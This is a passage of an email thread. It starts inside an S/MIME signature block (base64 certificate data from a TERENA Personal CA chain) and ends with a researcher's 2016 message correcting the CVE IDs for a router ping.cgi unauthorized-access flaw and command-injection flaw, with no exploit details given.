cPjdIKuSkiTjJuZ7cGWMUeKZdY2QfEekzx1+72qy4BscnqkCgUSgLE1MGT4Esqi4fC1BbokZu25c
BPdx3U8axZWlHqZbFbu/fXqzQ3KC3Uyabj8EQZIwggTDMIIDq6ADAgECAhBz/lf637jFCIF7Zrlr
8C3vMA0GCSqGSIb3DQEBBQUAMIGuMQswCQYDVQQGEwJVUzELMAkGA1UECBMCVVQxFzAVBgNVBAcT
DlNhbHQgTGFrZSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxITAfBgNVBAsT
GGh0dHA6Ly93d3cudXNlcnRydXN0LmNvbTE2MDQGA1UEAxMtVVROLVVTRVJGaXJzdC1DbGllbnQg
QXV0aGVudGljYXRpb24gYW5kIEVtYWlsMB4XDTA5MDUxODAwMDAwMFoXDTI4MTIzMTIzNTk1OVow
OzELMAkGA1UEBhMCTkwxDzANBgNVBAoTBlRFUkVOQTEbMBkGA1UEAxMSVEVSRU5BIFBlcnNvbmFs
IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyBXZ9TNqI6GQDc+7BUTDqx9KNYUa
IYWgT/jwQOJKQ5v+W7Gwv7RX3HWAQUtkGvbbT2+P0CVFNfnqy0r6+9rT7UWIEZQ25MyoDe/FPTft
FnvjwpWeWDN/Ivv4/+zmvtuuCmUlIofab4SLRuhAhig/v1YI4krpg6LpIvst+rYoH5HBw3H7U8Ar
TqQMoW6dVe3s4SSHOgjiDRzkxE3Qyyf6hGTm0ZedViRbk7spLkPiQWo94kpl/JpfWoaHvIfHeYCW
mVHGkA9kkZl9EN2sLAMq4Xhk/s49TvQrUBFL0VjUmwPwf/U7U7BTQ/vFL8QEKRo6rNdV6dEOldE7
MX94T64pLQIDAQABo4IBTTCCAUkwHwYDVR0jBBgwFoAUiYJnfcSdJnAAS7RQSHzePa4Ebn0wHQYD
VR0OBBYEFGNNQ1oZSD/ERsECur/uDuWCt2amMA4GA1UdDwEB/wQEAwIBBjASBgNVHRMBAf8ECDAG
AQH/AgEAMBgGA1UdIAQRMA8wDQYLKwYBBAGyMQECAh0wWAYDVR0fBFEwTzBNoEugSYZHaHR0cDov
L2NybC51c2VydHJ1c3QuY29tL1VUTi1VU0VSRmlyc3QtQ2xpZW50QXV0aGVudGljYXRpb25hbmRF
bWFpbC5jcmwwbwYIKwYBBQUHAQEEYzBhMDgGCCsGAQUFBzAChixodHRwOi8vY3J0LnVzZXJ0cnVz
dC5jb20vVVROQUFBQ2xpZW50X0NBLmNydDAlBggrBgEFBQcwAYYZaHR0cDovL29jc3AudXNlcnRy
dXN0LmNvbTANBgkqhkiG9w0BAQUFAAOCAQEABiupUy8T3Fw5FsyGn15Me3L77I1Vil6aCv9TTHb0
Bj1Qz1fwos+vmYyq/qAZdj6ZAzL6dYM4irtrmqUME7LUG3bmlC5nmFnjkWwCkJqcyGBLVavKiFqN
K+VplQMH0dQO/CQiLlmxY6Rf7dkjcuSczjpcbB9PqQDJHf76f0Utti6E3Q8noFkYTtV2JUX0mSZ5
22+fI/dDuysPBKOBJiy3ezX5PXdfQCHmfx2lllq90MsWOmy7YYuK/QQ5RArLLOHLzi4QmBrb4JPt
SWRkCCCft6NQ8KLdyrTGfAw9514V3CeG5Do7UloXq6kGUyudCXNkHAHD/TDShwNv5BUDejlfaDGC
AzIwggMuAgEBMFAwOzELMAkGA1UEBhMCTkwxDzANBgNVBAoTBlRFUkVOQTEbMBkGA1UEAxMSVEVS
RU5BIFBlcnNvbmFsIENBAhEAj+t2Kd1WxHbqSyvAZcazNDAJBgUrDgMCGgUAoIIBtzAYBgkqhkiG
9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0xNTA4MjUyMTM3NDJaMCMGCSqGSIb3
DQEJBDEWBBSteXMKvbepAFSM6li2/CeyS9OcZjBfBgkrBgEEAYI3EAQxUjBQMDsxCzAJBgNVBAYT
Ak5MMQ8wDQYDVQQKEwZURVJFTkExGzAZBgNVBAMTElRFUkVOQSBQZXJzb25hbCBDQQIRAI/rdind
VsR26ksrwGXGszQwYQYLKoZIhvcNAQkQAgsxUqBQMDsxCzAJBgNVBAYTAk5MMQ8wDQYDVQQKEwZU
RVJFTkExGzAZBgNVBAMTElRFUkVOQSBQZXJzb25hbCBDQQIRAI/rdindVsR26ksrwGXGszQwgZMG
CSqGSIb3DQEJDzGBhTCBgjALBglghkgBZQMEASowCwYJYIZIAWUDBAEWMAoGCCqGSIb3DQMHMAsG
CWCGSAFlAwQBAjAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwBwYFKw4DAhowCwYJYIZI
AWUDBAIDMAsGCWCGSAFlAwQCAjALBglghkgBZQMEAgEwDQYJKoZIhvcNAQEBBQAEggEAJpRF3S1S
Opx047RLVWQwyYXAcFDM3puToJI7Hif2psAvicLFnNuWsFx7dM+1lYg3RAgHcUBeynLzyrEy2ZHm
/iBbATcV1hsPXSWtHOtxnjdwvchy3iBybYnKiRLqshfkgEW1I4T/146/3joFAoD3Qbmm8BJZ/Y7J
bCGshUu2MXm/0xHew3ArliCvSOH6JZjlnDwHLokZBLCJ5UjuwgR41Mdp62Q05MHt/eiaaBvpEw8r
UMDlLTIdGhfEza5lstAr/ejWfUDqLnJkjb9DrG2mSzMTzwbTfohZP0nF6ZHF+aGzCZwZHe/l1ym3
9qrEwIidqirfPXSF8oVkMvBz1fwROAAAAAAAAA==

------=_NextPart_000_005B_01D0DF8F.094FDA90--


From: bhadresh.patel@helpag.com
Sent: Thu 5. May 2016 12:39
Hello Team,

Sorry for the typo in earlier draft.

The correct CVE IDs are both year 2015.

1) Unauthorized access of routers network troubleshooting page (ping.cgi) -- CVE-2015-6023
2) Command injection vulnerability on ping.cgi -- CVE-2015-6024

Regards,
-Bhadresh